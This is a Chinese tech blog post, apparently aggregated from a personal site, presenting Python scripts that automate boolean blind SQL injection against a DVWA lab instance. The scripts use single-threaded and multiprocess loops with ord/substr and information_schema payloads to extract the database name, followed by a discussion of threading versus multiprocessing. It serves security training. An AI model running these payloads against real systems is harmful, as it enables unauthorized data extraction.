惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

腾讯CDC
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
P
Proofpoint News Feed
D
DataBreaches.Net
D
Docker
云风的 BLOG
云风的 BLOG
大猫的无限游戏
大猫的无限游戏
月光博客
月光博客
J
Java Code Geeks
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
罗磊的独立博客
Martin Fowler
Martin Fowler
U
Unit 42
Engineering at Meta
Engineering at Meta
IT之家
IT之家
Vercel News
Vercel News
B
Blog RSS Feed
人人都是产品经理
人人都是产品经理
博客园 - Franky
博客园 - 【当耐特】
Stack Overflow Blog
Stack Overflow Blog
G
Google Developers Blog
MongoDB | Blog
MongoDB | Blog

Casear的技术栈

Dell R730xd iDRAC 无法创建 RAID Ubuntu 26.04 编译 asusctl Ubuntu 26.04 装 NVIDIA 580 内网异机备份 conf 驱动 Razer_GRUB_Theme Fcitx5 输入法配置:切换中文输入法 服务器 zsh 环境配置记录:Zim + p10k + eza + zoxide # ThinkPad T490s Linux 指纹模块启用指南(KDE vanblog使用picgo图床的完整部署教程 vanblog备份恢复评论数据 如何配置一个虚拟显示器,以便远程没有显示器的系统 解决 OpenConnect VPN 由于 JScript 引擎丢失导致的 Error 1 修复 Fuck 2025 ATT&CK红队评估实战靶场二 一言 解决kde环境下切换登陆屏幕(SDDM)后显示异常 rss Linux实用软件分享 Kubuntu 上安装 显卡驱动 和 EnvyControl kubuntu 搜狗输入法安装问题解决 终端工具的选择 chatlog 青龙面板+wxBotWebhook实现自动推送天气 mac 安装 第三方应用问题 zsh 安装与配置,使用 oh-my-zsh 美化终端 pve虚拟机硬盘直通 tldr-pages 安装 pve安装Arch-linux Arch-linux安装桌面环境 提问的艺术极简板
DVWA--SQL Injection(Blind)(盲注Python脚本)
casearx@foxm · 2024-05-31 · via Casear的技术栈

请注意,本文编写于 759 天前,最后修改于 743 天前,其中某些信息可能已经过时。

加入多线程&多进程

新版本

import concurrent.futures import requests from bs4 import BeautifulSoup def run_code(demot): texterr = "User ID is MISSING from the database." base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/" session_id = "8tuabbh2e1oiv0c2flpn3jbvk4" params = {"id": demot, "Submit": "Submit"} cookies = {"PHPSESSID": session_id, "security": "low"} response = requests.get(base_url, params=params, cookies=cookies) print(response.status_code) soup = BeautifulSoup(response.text, "html.parser") search_results = soup.find_all("pre") print(search_results) print(demot) for result in search_results: text = result.text.strip() print(text) if (text != texterr) and ("User ID exists in the database." in text): with open("example.txt", "a") as file: file.write(demot + "\n") # 多线程运行 # if __name__ == "__main__": # demots = list(range(1, 200)) # 保存所有需要运行的demot # max_threads = 10 # 最大线程数 # with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor: # for i in range(1, 6): # for demo in range(1, 128): # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #" # executor.submit(run_code, demot) # 多进程 if __name__ == "__main__": max_processes = 60 with concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor: for i in range(1, 6): for demo in range(1, 128): # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #" demot = f"1'and ord(substr(database(),{i},1))= {demo} #" executor.submit(run_code, demot)

旧版本

import requests from bs4 import BeautifulSoup texterr = "User ID is MISSING from the database." base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/" session_id = "sb35jegkjt33kjgovvptbua022" for i in range(1, 5): for demo in range(1, 128): demot = f"1' and ord(substr(database(), {i}, 1)) = {demo} #" params = {"id": demot, "Submit": "Submit"} cookies = {"PHPSESSID": session_id, "security": "low"} response = requests.get(base_url, params=params, cookies=cookies) soup = BeautifulSoup(response.text, "html.parser") search_results = soup.find_all("pre") for result in search_results: text = result.text.strip() print(demot) if (text != texterr) and ("User ID exists in the database." in text): with open("example.txt", "a") as file: file.write(demot + "\n") break

  1. 导入了requests和BeautifulSoup模块,分别用于发送HTTP请求和解析HTML页面。
  2. 定义了一个错误信息变量texterr,以及目标网站的基本URL和会话ID。
  3. 使用嵌套循环,遍历数据库名称1-4的ASCII码。
  4. 构造Payload字符串demot,然后将其作为参数发送到目标网址。
  5. 从响应中解析出页面内容,然后在页面中查找包含响应文本的标签(pre)的内容。
  6. 检查每个找到的结果,如果文本不等于错误信息并且包含指定提示,则将查询字符串写入到文件"example.txt"中,并且停止当前循环。
  7. 由于在实际测试中测试Payload会返回一个404响应,但其并不影响页面的返回,故没有设置检查响应码

相关信息

新版本使用了concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor 创建了一个进程池执行器(ProcessPoolExecutor),设置最大工作进程数为max_processes

来达到加速测试的效果

以下是对python的多线程和多进程的优劣关系和应用场景的解释

多线程(Threading)

优点:

  • 轻量级:线程的创建和销毁比进程快,资源消耗较少。
  • 共享内存:线程间可以共享内存,数据传输简单。
  • I/O密集型:如果爬虫主要受限于网络I/O,多线程可以有效地利用等待时间来执行其他任务。

缺点:

  • 全局解释器锁(GIL):Python的CPython实现中的GIL限制了同一时间只能有一个线程执行,这意味着多线程并不能有效利用多核CPU进行并行计算。
  • 资源限制:操作系统对线程的数量有限制,过多的线程可能导致效率降低。

多进程(Multiprocessing)

优点:

  • 绕过GIL:每个进程有自己的Python解释器和内存空间,可以绕过GIL的限制,实现真正的并行执行。
  • CPU密集型:如果爬虫任务是CPU密集型的,多进程可以更好地利用多核处理器。
  • 稳定性:进程间相互独立,一个进程崩溃不会影响其他进程。

缺点:

  • 资源消耗:进程的创建和销毁比线程慢,消耗的资源更多。
  • 进程间通信(IPC):进程间需要通过IPC进行通信,这比线程间共享内存复杂。
  • 数据共享:进程间共享数据不如线程间方便,需要使用特定的IPC机制。

选择建议:

  • I/O密集型任务:如果爬虫主要受限于网络请求和响应时间,多线程可能更合适,因为它可以更有效地利用等待时间。
  • CPU密集型任务:如果爬虫涉及到大量的数据处理,多进程可能更合适,因为它可以利用多核CPU进行并行处理。
  • 爬虫规模:对于大规模的爬虫,多进程可能更有利于扩展和管理。
  • 开发和维护成本:多线程相对简单,但多进程虽然复杂但更稳定。